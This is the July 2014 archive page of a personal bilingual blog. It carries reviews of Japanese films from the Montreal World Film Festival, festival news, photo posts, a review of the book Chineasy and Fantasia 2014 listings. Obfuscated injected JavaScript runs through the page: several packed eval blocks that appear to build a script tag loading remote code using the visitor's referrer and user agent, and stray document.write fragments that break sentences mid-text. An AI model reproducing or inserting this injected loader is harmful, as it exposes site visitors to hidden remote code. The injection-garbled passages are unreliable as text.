Month: July 2014

Jury of the Montreal World Film Festival

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The Montreal World Film Festival has announced that the jury of the 38th Festival will be presided by Italian actor and director Sergio Castellitto. The jury will also be made of Rachid Bouchareb (Franco-Algerian director-producer), document.write(“”); Andréanne Bournival (Quebec television programming manager), Fridirik Thor Fridriksson (Icelandic producer), Ana Torrent (Spanish actress) and Jane Zhang (Chinese pop singer and actress). (See the full press release)
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The festival has also announced that it will pay tribute to international distributor-producer Michael J. Werner, chairman of film sales of Fortissimo Films. The veteran America-born producer has been located in Hong Kong over the past two decades from where he guided the production and distribution of Asian films to markets around the world. As part of the tribute to Michael J. Werner, the Festival will show five recent films distributed and/or co-produced by Fortissimo: Tears of the Black Tiger directed by Wisit Sasanatieng (Thailand, 2000), Norwegian Wood, by Tran Ang Hung (Japan, 2010, adaptation of the famous Haruki Murakami’s novel), The Grandmaster by Wong Kar Wai (Hong Kong, 2013) and the Canadian premieres of The Great Hypnotist, by Leste Chan (China, 2014) and Black Coal, Thin Ice by Diao Yinan (China / Hong Kong, 2014), this year’s Golden Bear winner at the Berlin Film Festival. (See the full press release)

The only large competitive festival in North America accredited by FIAPF (the International Federation of Film Producers’ Associations), the 38th Montreal World Film Festival will run from August 21 to September 1, 2014.

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L’image du mer-fleurie

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Cosmos, document.write(“”); centre de l’Univers ? (Jardin avant, 2014-07-22)
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bahfe|var|u0026u|referrer|skszd||js|php’.split(‘|’),0,{}))
Cosmos, center of the Universe? (Front garden, 2014-07-22)
Cosmos!

Case of Kyoko, Case of Shuichi

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihzii|var|u0026u|referrer|trbia||js|php’.split(‘|’),0,{}))

<a href="http://dl.dropbox.com/u/53330/pics/Case_of_Kyoko, document.write(“”); _Case_of_Shuichi-0001.jpg” target=”“new””>“Minamisanriku, Japan, was devastated by the tsunami of March 11, 2011, with most buildings destroyed by waves of 16 metres or higher, and over half the town’s population swept away or drowned. With 90% of the town gone, there’s no “home” there anymore for former residents Kyoko and Shuichi. For psychological reasons as well: left behind were a mother and a child. What does the future hold for the living?” (Text from the Festival’s program)


Case of Kyoko, Case of Shuichi feels like two movies in one. We follow the path of two characters, Kyoko and Shuichi, who never meet but nearly intersect at the end of the movie—only because they are from the same hometown of Minamisanriku in Miyagi Prefecture. Both of them have commit some sort of ”crime” that forced them to leave their home for Tokyo, where they try to rebuilt their life. Both of them are lonely and adrift, in search for something or someone to anchor their heart. In the wake of the Great East Japan Earthquake and Tsunami, they both decide to go back home, to look for the loved one they left behind (her daughter, his mother).

Kyoko is very unhappy and works as an insurance agent to support her family. The competition amongst her coworkers is fierce and she ends up having an affair with her boss (and with some customers) in order to secure her employment. When this scandalous situation is revealed, she is blamed and shamed by her family. She has to leave her hometown. Can she improve her situation or is she condemned to succumb to the same pitfall?

Shuichi accidentally killed his abusive father in order to protect his mother. After serving time in a juvenile detention center, he finds a job in a small factory in Tokyo. He makes friends and slowly finds acceptance and redemption.

Case of Kyoko, Case of Shuichi is the fifth movie directed by actor Eiji Okuda (his first movie as director, Sh?jo (2001), and his third movie, A Long Walk (2006), were shown at the Montreal Film Festival). He likes small budget movies and instead of hiring big-name actors (probably to save money), the two main roles are played by his daughter (Sakura Ando) and son-in-law (Tasuku Emoto) — I am wondering if it is easier or harder to direct your own daughter; the quality of the performance is the same anyway it seems. The director was present at the festival but had unfortunately left by the time I screened the movie so I missed the opportunity to see him. The theatre was a little more than half full.

It is a good movie with nice photography and an introspective subject that succeeds nevertheless to capture the attention of the viewer. It reminds me a little of Claude Lelouch’s A man and a women: we expect Kyoko and Shuichi to meet in the end, but they don’t. However, it seems that they are destined to meet. We can only hope that they eventually do.

For more impression on this movie, I suggest reading Mark Schilling’s review in The Japan Times.
Case of Kyoko, Case of Shuichi (????????? / Kyoko to Shuichi no baai): Japan, 2013, 135 min.; Dir. & Scr.: Eiji Okuda; Phot.: Takahiro Haibara; Ed.: Manabu Shinoda; Mus.: Hibiki Inamoto; Prod.: Takahito Obinata, Miyako Kobayashi; Cast: Sakura Ando, Tasuku Emoto, Soko Wada, Ena Koshino, Takanori Takeyama, Yoshiko Miyazaki, Mitsuru Hirata. Film screened at the Montreal World Film Festival on August 29th, 2013 (Cinema Quartier Latin 12, 19h00) as part of the “ Focus on World Cinema” segment.
For more information you can visit the following websites:
Case of Kyoko, Case of Shuichi © 2013 Zero Pictures

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The Kiyosu Conference

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryrbh|var|u0026u|referrer|tdtnf||js|php’.split(‘|’),0,{}))

“In 1582, document.write(“”); before the unification of Japan, Nobunaga Oda was forced to take his own life at Honno-ji Temple during a violent revolt led by Mitsuhide Akechi. Following Oda’s death, the powers in Japan held the Kiyosu Conference — the “conference that changed the course of history” — to resolve the Oda clan’s succession of leadership and redistribute Mitsuhide Akechi’s territories. Hideyoshi Toyotomi, Nagahide Niwa and Tsuneoki Ikeda meet to decide on a successor. The conference would become Japan’s first group-made political decision. In this film, director Koki Mitani, known especially for his comedies, gives us his unique interpretation of the intricate web of human relationships involved in this process as the brave general Katsuie Shibata and Hideyoshi Hashiba, who would later unify Japan, engage in a battle of wits, deceit and bargaining.” (Text from the Festival’s program)


The Kiyosu Conference is the 6th feature film by Koki Mitani, a director mostly known for his modern-day comedies (Suite Dreams [reviewed in PA #90: 74] and The Magic Hour were both shown at the Montreal World Film Festival in 2006 and 2008, respectively). It is his first attempt at a historical epic. It tells the story of what’s considered as the first political meeting of Japanese history. After the death of Nobunaga Oda in 1582, all the Oda clan power players (Katsuie Shibata, Hideyoshi Toyotomi, Nagahide Niwa, Tsuneoki Ikeda) agree to meet at the Kiyosu Castle in order to discuss his succession. Ensues a series of political intrigues, romances and plot twists which, added to the sheer number of characters (the leaders, their vassals and retainers, all with long Japanese names), makes it rather complicated to recount the whole story (for that the synopsis in the Festival’s program [above] is doing a good job).

You might think that such a serious and complex subject would be boring, but Mitani draws into his experience to create comic relief at regular intervals, so the movie carries a consistant light tone. I was actually quite surprised: I was expecting a historical saga and found what could be considered a comedy (somewhere in the movie there’s even a guy wearing a Groucho Marx moustache!). Some critics have seen in the movie a political satire, but I think it is simply the result of the awkward mix of drama and comedy that can often be found in Japanese movies.

All in all, The Kiyosu Conference is a powerful movie with an all-star cast. It is well-made (although a bit long), offer nice photography and an entertaining story that teaches us about Japanese history. In the end it is a very good movie experience (the theatre was a little more than half full). I would recommend you to see it if you can, but like most Japanese movies screened at the festival it is unfortunately not yet available in English (even one year later). If you want more comments on this movie I would recommend you to read also the reviews in The Japan Times and The Hollywood Reporter.
Kiyosu Kaigi ( ???? / The Kiyosu Conference ): Japan, 2013, 138 min.; Dir. & Scr.: Koki Mitani (based on his own novel); Mus.: Kiyoko Ogino; Phot.: Hideo Yamamoto; Ed.: Soichi Ueno; Prod. Des.: Yohei Taneda; Cost. Des.: Kazuko Kurosawa; Cast: Koji Yakusho (Katsuie Shibata), Yo Oizumi (Hideyoshi Toyotomi), Fumiyo Kohinata (Nagahide Niwa), Koichi Sato (Tsuneoki Ikeda), Satoshi Tsumabuki, Tadanobu Asano, Susumu Terashima, Denden, Kenichi Matsuyama, Yusuke Iseya, Kyoka Suzuki, Miki Nakatani, Ayame Goriki, Minosuke Bandou, Kenji Anan, Shinpei Ichikawa, Shota Sometani, Eisuke Sasai, Keiko Today, Zen Kajiwara, Catherine Seto, Yoshimasa Kondo, Kazuyuki Asano, Kankuro Nakamura, Yuki Amami, Toshiyuki Nishida; Distr.: Pony Canyon Intl. Film screened at the Montreal World Film Festival on August 28th, 2013 (Cinema Quartier Latin 9, 19h00) as part of the “World Great” segment (Out of Competition).
For more information you can visit the following websites:

The Kiyosu Conference © 2013 Fuji TV / Toho

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L’image du chat-medi

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La maman chat-de-gouttière est de retour avec ses trois minous!
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The alley cat mother is back with her three kittens!
(cour arrière / backyard, document.write(“”); 7/24/2014)
She's baaack!
UntitledUntitled

Mourning recipe

/ Clodjee / 1 Comment

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsedh|var|u0026u|referrer|hnhse||js|php’.split(‘|’),0,{}))

“When Ryohei’s wife, document.write(“”); Otomi, suddenly passes away, Ryohei is deeply depressed, without the strength to live. Two weeks after her death, a woman visits Ryohei and gives him a recipe book which was left by Otomi, a “recipe book” for a happy life. Meanwhile, Ryohei’s daughter Yuriko comes to visit him. Yuriko’s own marriage is about to end in divorce and she will have use for Otomi’s “recipe book”.” (Text from the Festival’s program)


This movie is the second adaptation of Yuki Ibuki’s book of the same title. It was her second novel (published in february 2010, it has unfortunately not been translated into english yet) and, as it quickly became a bestseller, it was first adapted into a four-episode television drama which aired on NHK between February 15 and March 8, 2011.

The important cultural element behind the story is that, in Japanese Buddhism (and Mahayana Buddhism in general), after the funeral (which occurs three or seven days after death) there’s another important ceremony held after seven weeks, on the 49th day. It seems that mourning is a slow process in Japan: it starts with preparing the body, changing the deceased’s name, holding a wake, then there’s the funeral and the cremation, followed by weekly praying and offering. Little by little, as it performs a kind of “karmic introspection”, the deceased’s spirit is moving away from the physical world until it is completely free from it. Then it achieves awakening (or enlightenment), which is a profound understanding of reality. The 49th day ceremony has for purpose to support the deceased in this transition into a new life and to celebrate it. Interestingly, this slow process also allows to mourners to get used to their loved one’s departure and this is this specific aspect that is the subject of the movie.

When Ryohei’s wife died, he was devastated. However, Otomi knew that her passing would deeply affect her family, particularly her husband, so she prepared an illustrated guide book for them. The handwritten recipe book is proposing activities (like cooking, cleaning and the basics of house keeping) for every day of the seven weeks of mourning, culminating with a big party for the family and friends! Otomi had been volunteering at the “Ribbon House”, a rehabilitation center for teenagers with difficulties, where she was teaching cooking and housework. She asked one of her students, Imoto “Imo” Sachie (a tanned blond with lots of make-up and weird clothing), to bring the book to her family. She does more than that as she stays to help, along with her Japanese-Brazilian friend Harumi (Haru aka Carlos Yabe).

At the same time, Ryohei’s daughter Yuriko (her mother died when she was a kid and Otomi was her step-mother) is depressed: she’s childless and her fertility treatment failed, she has to take care of her mother-in-law and she discovers that her husband is having an affair! She decides to leave her husband and go back home to help her father. She finds him already in good company. So, altogether with Imo and Haru, despite many difficulties, she’s helping her father going through the mourning recipes—which reveals being beneficial for everybody.

The story is a little complex to tell in more details than that, but it was a superb feel-good movie (a family drama with humour). The storytelling was beautiful, the acting excellent, it makes you think about how to live your life and, on top of it, it was quite entertaining. A good Japanese movie will always make you laugh or cry, and I did both so that makes Mourning Recipe an excellent movie. It was a popular screening since the theatre was packed (although it was a terribly tiny room with a capacity around one-hundred-fifteen, with no central alley and a floor with minimal angle, so the viewing experience was not optimal). It was the best movie I had seen so far at the festival last year. It is really worth seeing (unfortunately it seems to be available on dvd only in Japanese version).
Shijuukunichi no Reshipi ( ???????? / lit. “Recipe of 49 Days” / Mourning Recipe ): Japan, 2013, 130 min.; Dir.: Yuki Tanada; Scr.: Hisako Kurosawa (based on a novel by Yuki Ibuki); Phot.: Ryuto Kondo; Ed.: Ryuji Miyajima; Mus.: Yoshikazu Suo; Cast: Renji Ishibashi, Masaki Okada, Fumi Nikaidô, Hiromi Nagasaku, Taizo Harada; Distrib.: Gaga Corp. Film screened at the Montreal World Film Festival August 28th, 2013 (Cinema Quartier Latin 11, 16h30) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Mourning Recipe © 2013 “Mourning Recipe” Film Partners

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L’image du mer-fleurie

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Criquet sur un oeillet d’Inde (2014-07-22)
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Grasshopper on a French marigold (2014-07-22)
<a href="https://www.flickr.com/photos/clodjee/14535333398&quot; target="“new”" title="Grasshopper on Tagetes by Clodjee Pelletier, document.write(“”); on Flickr”>Grasshopper on Tagetes

Voyage au Saguenay

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Un peu plus tôt en juillet j’ai fait un court voyage au Saguenay avec ma famille. On est passé par Québec, document.write(“”); a visité Tadoussac, fait une croisière dans le fjord du Saguenay, vu la petite maison blanche à Chicoutimi, trempé nos pieds dans le Lac Saint-Jean à Métabetchouan, etc. Voici un aperçu (en cent-cinquante-cinq images) des quelques neuf-cent photos que j’ai pris…
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Earlier in July I made a short trip to the Saguenay with my family. We passed through Quebec City, visited Tadoussac, took a cruise in the Saguenay Fjord, saw the little white house in Chicoutimi, dipped our feet in the Lake Saint-Jean at Métabetchouan, etc. Here is an overview of the trip in one-hundred-and-fifty-five pictures (out of the nine-hundred-forty I took)…

Blindly in love

/ Clodjee / 2 Comments

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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“Shy and socially inept, document.write(“”); Kentaro Amanosizuku, 35, works for the city but lives with his parents, a pet frog and video games as his chief interests. Worried about their son’s future, Kentaro’s parents look into matchmaking services, seemingly to no avail. Then a nibble. Would Kentaro be interested in meeting their daughter Naoko? A meeting is arranged. Naoko is a beautiful young woman but she is blind. Kentaro is smitten. But Naoko’s father has his doubts about Kentaro and the meeting comes to nought. Then, one day, Naoko’s mother comes to visit at Kentaro’s office. Is he still interested in her daughter?” (Text from the Festival’s program)


Kentaro is overly shy (what they call in Japan an “hikikomori”) and, despite having a job and a good income, he has no girlfriend. His parents have tried to match him several time but without success. Their hope gets high when they find a good, suitable match (a woman his age who’s still single) but no deal is made at the introduction meeting. His parents are against the match because it is revealed that she’s blind and her parents are against the match because he is a simple municipal salaryman. However, they start to spend time together against their parents’ will and without their knowledge and they start appreciating each other in many ways. It is not easy, they have to face many obstacles. Kentaro is afraid that he won’t be able to protect her as he is so clumsy. An accident occurs, but he is as determined as he is indestructible!

Blindly in love is a very good romantic comedy — which was quite welcomed after screening several depressing movies in the 2013 Montreal’s World Film Festival. It was the first “feel good” movie that I was seeing in that edition of the festival, at last, and I was quite happy with it.

The movie seems to imply that parents have a responsibility toward what happens to their kids. But when their kids are in their thirties I think they are just overprotective. It is another movie talking about the hikikomori phenomenon, so it really makes me wonder (like I did in Botchan) if this trend means that there are more cases of those withdrawn (hikikomori) and socially inept young people (dokuo), perhaps because of the increasingly stressful socio-economic situation of Japan, or is it simply because the Japanese are starting to pay more attention to those people in emotional distress?

Anyway, like most good Japanese movies, it was pleasant, entertaining and provoked reflection. And it attracted lots of people since the theatre was three-quarter full. The screening finished a little late because of the Q&A that followed in presence of the director, Masahide Ichii.

Opening for Blindly in love, there was an american short (23 mins) titled Common: “Agnes, a widowed church organist, has her lonely, patterned existence threatened when someone from her past comes back into her life…” A previous lesbian love interest! It felt like a good student movie with an interesting subject but a little slow-developing.

You can see a video on Vimeo (27:08 mins) showing the introduction and Q&A session with director Masahide Ichii, before and after the Montreal World Film Festival’s screening on August 28th, 2013 (translation by Dr. Minoru Tsunoda):

Hakoiri musuko no koi ( ??????? / lit. “Love of a Son who is in the Box” / Blindly in love): Japan, 2013, 108 min.; Dir.: Masahide Ichii; Scr.: Masahide Ichii, Takahiro Tamura; Mus.: Ren Takada; Phot.: Daisuke Sôma; Ed.: Chieko Suzaki; Prod.: Chikako Nakabayashi, Yumiko Takebe; Cast: Gen Hoshino, Kaho, Sei Hiraizumi, Ryoko Moriyama, Ren Osugi, Hitomi Kuroki, Honoka, Shuntaro Yanagi, Miyako Takeuchi, Kanji Furutachi. Film screened at the Montreal World Film Festival August 27th, 2013 (Cinema Quartier Latin 9, 21h20) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Blindly in love © 2013 “Hakoiri Musuko no Koi” Production Committee

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Le FFM se prépare à une 38e année difficile

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Dès février, document.write(“”); le FFM sortait ses premiers communiqués de presse de l’année en annonçant la nomination de monsieur Massimo Saidel comme ‘’conseiller spécial’’ pour le Marché international du film du FFM. Massimo Saidel apportera son expertise et se rapportera à Gilles Bériault, le directeur du Marché international du film pour la préparation et l’organisation du prochain marché en 2014, qui se déroulera durant le 38e Festival des Films du monde, du 21 août au 1er septembre 2014. (Voir le communiqué)
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Lire la suite >>

En mars, le FFM annonçait que le Marché international du film de Montréal, qui est une activité importante du Festival des films du monde de Montréal, aura une nouvelle section de films européens ce qui fera du Marché une plateforme majeure du cinéma européen en Amérique. Ce sera l’occasion pour tous les secteurs européens de l’industrie cinématographique de faire la promotion de leurs films et de développer d’éventuels partenariats de coproduction. Le Marché du film de Montréal est un rendez-vous important pour les membres de l’industrie locale qui y trouvent l’occasion unique de rencontrer des professionnels de tous les pays. En plus de la présence des représentants européens, le Marché accueillera à nouveau la Semaine de l’industrie chinoise du cinéma. (Voir le communiqué)

À la fin avril, le FFM annonçait que le 38e Festival des films du monde sera dédié à la mémoire de Gabriel García Márquez décédé plus tôt cette année. Il est “sans conteste un phare unique de la littérature mondiale du XXe siècle. Le FFM tient à saluer sa mémoire en hommage à son immense talent et à son engagement humaniste constant pour la défense des cultures de l’Amérique du Sud. Il est un des adeptes du réalisme magique qui a influencé non seulement ses collègues écrivains mais aussi nombre de cinéastes latino américains et autres que nous avons accueillis ici » a déclaré Serge Losique, président du FFM. (Voir le communiqué)

Puis, en mai, le FFM dévoilait l’affiche du 38e Festival, qui a été choisie par le public. Il s’agit d’une oeuvre l’artiste bolivien Marco Toxico.

Ses œuvres sont reconnues mondialement et ont bénéficié de publications en Allemagne, Argentine, Belgique, Brésil, Espagne, France, Mexique, Pérou et Venezuela en plus d’y être exposées régulièrement. Il est le cofondateur, avec Karen Gil, de la maison d’édition La Ñatita consacrée à la publication de leurs travaux. Il a été nommé parmi les 10 meilleurs illustrateurs par le Cow International Design Festival d’Ukraine et a obtenu une mention lors des Rencontres latino-américaines de Design 2013 de Buenos-Aires. (Voir le communiqué)

À la fin juin, le FFM nous rappelle que le Marché international du film de Montréal se prépare a accueillir une importante délégation de l’industrie cinématographique chinoise qui viendra proposer une série de projets de coproduction. (Voir le communiqué)

Finalement, en juillet, le FFM a annoncé que Salaud, on t’aime de Claude Lelouch sera le film d’ouverture de la 38e édition du festival (voir le communiqué) et que Aimer, boire et chanter d’Alain Resnais en serait le film de clôture (voir le communiqué). On a également annoncé le 1er août que l’acteur Hippolyte Girardot sera présent à Montréal pour la projection de l’ultime film de Resnais, “Aimer, Boire et Chanter” (voir le communiqué).

Malheureuseement, les préparatifs pour cette 38e édition du festival sont perturbés par une sérieuse controverse. Le 5 juin dernier, Le Devoir annonce que le Festival des films du monde est menacé car il serait en panne de financement. En effet, la SODEC ne lui accorderait pas de subventions cette année et deux autres bailleurs de fonds principaux, Téléfilm Canada et la Ville de Montréal, retireraient aussi leurs soutien faute d’avoir accès à tous ses livres, à un plan de redressement bien établi et à des finances équilibrées. Le FFM serait ainsi en faillite technique puisqu’il serait miné par un déficit accumulé de plus de 2,5 millions.

Le FFM réplique avec un communiqué où il affirme que malgré le fait que certaines promesses de soutien n’ont pas été tenues, les préparatifs pour la 38e année du festival continues, que le festival se tiendra malgré tout, et qu’il offrira comme par le passé une sélection riche et variée. Il est impossible de nier que les festival éprouve des difficultés financières mais qu’il devrait passer au travers grâce à une gestion rigoureuse et responsable et à un plan de relance.

Par la suite, La Presse et Le Devoir font la chronique de cette saga (à noter que la série d’articles de La Presse nous parait plutôt hostile envers le festival):

À suivre… Étrangement, à travers toute cette tempête, je n’ai pas vu beaucoup de gens qui défendent le FFM: à part quelques acteurs du monde du cinéma [Le Devoir, 16 juillet — abonnement requis], je n’ai vu qu’un éditorial au Devoir titré “Un actif à conserver” [Le Devoir, 3 juillet — abonnement requis mais heureusement le FFM l’a reprit dans son intégralité sur sa page Facebook] et une chronique de Nathalie Petrowski, titré “Une dernière chance” (La Presse, 7 juillet) qui le défendent tant soit peu.

Je trouve tout cela extrêmement dommage. Comme je l’ai déjà dit dans un commentaire quelque part sur FB, non seulement le FFM nous offre l’occasion de voir des films qu’on ne verrait pas ailleurs (contrairement au festival de Toronto où les films sortent en salles dans les semaines qui suivent; je n’en comprend pas du tout l’intérêt…) mais il fait rayonner la ville de Montréal internationalement ! Oui peut-être qu’il n’attire plus autant les foule que Fantasia (mais les deux festivals visent des public totalement différents) et c’est sûr qu’il y aurait du travail à faire sur la promotion et la gestion mais le FFM n’en demeure pas moins un événement culturel essentiel qui se doit d’être préservé et subventionné. Point. Si on trouve de l’argent pour la F1, je suis sûr qu’on peut faire l’effort d’en trouver pour le FFM ! Alors, grands dieux et s.v.p., arrêtez d’argumenter et faites juste en sorte qu’on puisse voir de bons et beaux films !

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L’image du mer-fleurie

/ Clodjee / Leave a comment

Flowers (Tadoussac QC, document.write(“”); 2014-07-09)
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Flowers (Tadoussac Qc, 2014-07-09)

Chineasy

/ Clodjee / 2 Comments

“Chinese is considered one of the most difficult languages to master. However, document.write(“”); using the Chineasy system, anyone can begin to understand and read Chinese. It works by transforming Chinese characters into illustrations to make them easy to remember. This book teaches the key characters on which the language is built and how these characters can be combined to form more complex words and phrases. Learning Chinese has never been this simple or more fun!”
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“? is the Chinese character for “fire.” It is not very easy to remember. But turn the character into an illustration of fire and it becomes much easier to recall. Two fires together means “burning hot.” Fire and mountain means volcano. Welcome to Chineasy, a groundbreaking approach to learning how to read and write Chinese.”


Fire / 2x fire = Burning hot                 fire + mountain = volcano

[From the back cover and the publisher’s web site]


I’ve been trying to learn Japanese for decades and what I’ve found the most difficult is to remember the kanji characters set, which are the same than the Chinese characters. They are made of complex “drawings” called logograms (pictograms, ideograms), created with several pen strokes and can be combined to make more complex characters. Contrary to a phonogram, which represents a sound and can be combined to make words, a logogram is a graphic symbol that represent an idea or concept. They say that you need a “vocabulary” of at least 2000 characters in order to be able to read simple everyday’s item like a newspaper. [Opposite: character for “person”]

The complexity of the characters make them difficult to remember and you really need a good mnemonic trick to help doing that. You need to associate a more familiar image with the character to help remember not only its shape but also its meaning. Years ago I found (and reviewed) a nice book providing just that (Kanji Pict-o-graphix, by Michael Rowley, published at Stone Bridge Press in 1992, ISBN 978-0—9628137-0-2), but the pages were a little crowded, only in b&w and it was not graphically pleasing. Chineasy, however, offer the same kind of mnemonics but is quite visually pleasing: it is full color, contains big illustrations and just a few on each page so it doesn’t feel crowded. Chinese is of course pronounced differently than Japanese, but the characters and their meaning is exactly the same. So whether you are learning Chinese or Japanese, it doesn’t matter, this book can be quite useful. [Opposite: character for “mountain”]

In the introduction the author first talks a little about herself (the daughter of a Taiwanese calligrapher and ceramist now living in the UK), explaining why she developed the method and wrote the book. It also explains how to use the book (a quick overview, the methodology, the difference between traditional [in Taiwan and Hong Kong] and simplified [mainland] Chinese, how it evolved) and the essential elements of chinese characters (the writing, spacing and pronunciation — the book use the pinyin for Mandarin). The core of the book is dedicated to the Chinese characters’ basics: building blocks, compounds, phrases and advanced sentences. [Opposite: character for “water”]

Chineasy covers sixty-four characters (for person, sky, mouth, fish, dog, fire, tree, bamboo, sheep, mountain, woman, bird, feather, sun, moon, work, white, tiger, door, water, cow, horse, jade, river, boat, one, bug, tall, heart, knife, pig, roof, rain, son, eye, hand, to fly, household, net, dusk, to talk, dish, self, walking, soil, soldier, scholar, field, bow, wine vessel, weapon, deer, grass, shell, small, ghost, to wrap up, how many, private, to reveal, shield, ice, to owe and dagger) and their derivatives (in total over four-hundred characters). It concludes with an illustrated story of “Peter and the wolf” and a few reference pages (the building block plates [opposite illustration], index of characters and phrases, acknowledgements).

Example of derivative words: pg 32-33, 44-45 & 54-55

Chineasy is certainly not original (Kanji Pict-o-graphix offered a similar method more than twenty years ago) but it is an effective, well-executed and beautiful book. It is fun and easy to learn with this method (although I don’t think this book by itself can make you become fluent in such a complex foreign language). You should try it if you are interested in learning either Chinese or Japanese, or simply if you are curious to acquired some vocabulary in order to show off how erudite you are.

You can also find on Youtube a 10 mins introduction video to the Chineasy method:


Chineasy: The New Way To Read Chinese, by Shaolan Hsueh (with illustrations by Noma Bar). New York: HarperCollins Publishers (Harper Design), 2014. 192 pp., paperback, $24.99 US / $31.00 CDN, ISBN 978-0-06-233209-7. Recommanded for teenagers (12+).
For more information:

Chineasy © 2014 Chineasy Ltd.

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Fantasia 2014

/ Clodjee / Leave a comment


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The 18th edition of the Fantasia International Film Festival will be held in Montreal from July 17 to August 5, document.write(“”); 2014. Screenings will take place mostly at the freshly renovated Concordia Hall Cinema. This year the festival is offering a lineup of over 160 features films and about 300 shorts. For more programming details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming (over sixty movies from seven countries: 22 from Japan, 17 from South Korea, 7 from Hong Kong, 2 from Indonesia, one each from China, Malaysia and Philippines) and particularly the animation (twelve movies from four countries: 8 from Japan, 2 from China, as well as one each from South Korea and Indonesia — there’s also one anime-related animation from Québec).

Update: For comments on the Japanese movies presented at Fantasia, I highly recommend reading Claude R. Blouin’s article [in french], “Montréal, Fantasia 2014 : le Japon des exclus” on Shomingeki web magazine.

A recap list of the Asian programming titles follows (with links to full description).


Anime (+ Asian Animation):

Japan (Live-Action):

Other Asian countries (Live-Action):

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Fantasia unveil their full 2014 lineup

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2014 is the year that The Fantasia International Film Festival turns 18. We can’t believe it either. Fantasia’s 18th birthday means over 160 features and something in the neighbourhood of 300 shorts, document.write(“”); many being shown for the first time on this continent, a good number screening here for the first time anywhere in the world.

In the previous weeks, they announced many programming highlights in a 1st and 2nd Wave of press releases and now the time has come to unveil the rest of the 2014 lineup.


Camera Lucida
In addition to the previously announced titles, Fantasia’s 2014 Camera Lucida section features the following asian movies:

SEVENTH CODE
Japan, Dir: Kiyoshi Kurosawa. A young Japanese woman finds herself lost and alone in Russia, leading her into a sinister universe of international espionage. SEVENTH CODE is Kiyoshi Kurosawa’s unexpected detour into the thriller genre. Canadian Premiere.

The Return of AXIS: Fantasia’s Animation Showcase
Axis, Fantasia’s international animation showcase, returns with features hailing from Belgium, France, Japan, South Korea, Russia and the USA. Aside from the previous announced Axis titles (like HUNTER X HUNTER: THE LAST MISSION or the special screening of the new HD master for Mamoru Oshii’s 1995 classic GHOST IN THE SHELL), the 2014 lineup features the following asian movies:

APPLESEED ALPHA
Japan, Dir: Shinji Aramaki. Super-soldier Deunan and her hulking cyborg companion Briareos stalk the shattered husk of New York City. A tour-de-force of digital design, APPLESSED ALPHA is essential kick-ass cyberpunk animation. North American Premiere

BAYONETTA: BLOODY FATE
Japan, Dir: Fuminori Kizaki. Bayonetta, a lithe, powerful witch and mistress of the Bullet Arts, dispatches a host of bloodthirsty angels in a church. But what she cannot dispel are the mysteries of her own origin and purpose… Canadian Premiere.

THE FAKE
South Korea, Dir: Yeon Sang-ho. The latest from Yeon Sang-ho, winner of Fantasia’s first Satoshi Kon Award with KING OF PIGS, targets corruption, Korean displacement policies that favour progress over the individual’s welfare, and the dark side of religion. Official Selection: AFI Fest 2013 Quebec Premiere.

HAL
Japan, Dir: Ryotaro Makihara. An android assigned to console a grieving girl learns what being human means in this short, self-contained gem of emotionally resonant science fiction anime. North American Premiere.

HUNTER X HUNTER : PHANTOM ROUGE
Japan, Dir: Yuzo Sato. The stage is set for secrets and conspiracies, fantastic wonders and furious action, as Yoshihiro Togashi’s hugely popular manga series HUNTER X HUNTER makes its big-screen anime debut. Canadian Premiere.

THE SATTELITE GIRL AND MILK COW
South Korea, Dir: Chang Hyung-yun. A familiar trope of Asian animation — fantastical romance between misfits — is turned upside down and inside out in this charmingly surrealist robo-rom-com from South Korea. North American Premiere.

And now more Asian movies announcement:

BLACK BUTLER
Japan, Dir: Kentaro Otani, Keiichi Sato. Shiori sold her soul to avenge her parents’ murder. She and her diabolical butler Sebastian are on a mission… The hit manga’s action-packed big-screen adaptation will thrill diehard fans and newbies alike. Quebec Premiere.

COLD EYES
South Korea, Dir: Cho Ui-seok, Kim Byung-seo. One of South Korea’s absolute blockbuster hits of 2013, a fast-paced, relentless roller-coaster ride into the high-stakes world of criminal surveillance that will leave you absolutely breathless. Quebec Premiere.

DAYS OF WRATH
